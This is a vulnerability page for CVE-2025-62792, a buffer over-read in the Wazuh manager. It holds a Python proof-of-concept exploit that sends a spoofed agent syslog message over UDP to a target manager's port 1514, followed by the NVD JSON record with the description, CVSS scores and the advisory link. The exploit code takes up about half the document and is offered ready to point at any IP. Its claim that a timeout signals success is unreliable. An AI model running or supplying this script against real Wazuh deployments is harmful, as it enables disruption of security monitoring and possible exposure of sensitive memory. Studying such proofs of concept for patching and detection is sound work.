CVE-2025-62792

#!/usr/bin/env python3 # CVE-2025-62792 PoC - Wazuh Buffer Over-read in w_expression_match() # This PoC demonstrates sending a specially crafted message to trigger the buffer over-read import socket import struct import time def send_malicious_message(manager_ip, manager_port=1514): """ Send a specially crafted message to trigger buffer over-read in wazuh manager. The message is designed to cause improper NULL termination in OS_CleanMSG(). """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Construct a message that will trigger the vulnerability # The message format follows Wazuh agent-manager protocol agent_id = "001" agent_name = "malicious_agent" agent_ip = "192.168.1.100" # Create a message with specific pattern to trigger over-read # Using repeated bytes without proper termination crafted_content = b'A' * 1024 + b'\x00\x00\x00' # Wazuh message header format message = f"{agent_id}:{agent_name}:{agent_ip}:#-syslog:CRON[1234]: " message += crafted_content.decode('latin-1', errors='ignore') # Send the malicious message sock.sendto(message.encode(), (manager_ip, manager_port)) print(f"[+] Malicious message sent to {manager_ip}:{manager_port}") print(f"[+] Message length: {len(message)} bytes") # Try to receive response try: response, addr = sock.recvfrom(4096) print(f"[+] Received response: {response[:100]}...") except socket.timeout: print("[-] No response received (may indicate successful exploitation)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve-2025-62792-poc.py <wazuh_manager_ip>") sys.exit(1) target_ip = sys.argv[1] send_malicious_message(target_ip)

{"cve": {"id": "CVE-2025-62792", "sourceIdentifier": "[email protected]", "published": "2025-10-29T17:15:37.280", "lastModified": "2025-11-03T19:35:16.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wazuh is a free and open source platform used for threat prevention, detection, and response. Prior to 4.12.0, a buffer over-read occurs in w_expression_match() when strlen() is called on str_test, because the corresponding buffer is not being properly NULL terminated during its allocation in OS_CleanMSG(). A compromised agent can cause a READ operation beyond the end of the allocated buffer (which may contain sensitive information) by sending a specially crafted message to the wazuh manager. An attacker who is able to craft and send an agent message to the wazuh manager can cause a buffer over-read and potentially access sensitive data. This vulnerability is fixed in 4.12.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}, {"lang": "en", "value": "CWE-170"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wazuh:wazuh:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.12.0", "matchCriteriaId": "FA335ECF-47B9-4FD9-988F-566DE523AB43"}]}]}], "references": [{"url": "https://github.com/wazuh/wazuh/security/advisories/GHSA-2672-vfhm-xhr6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}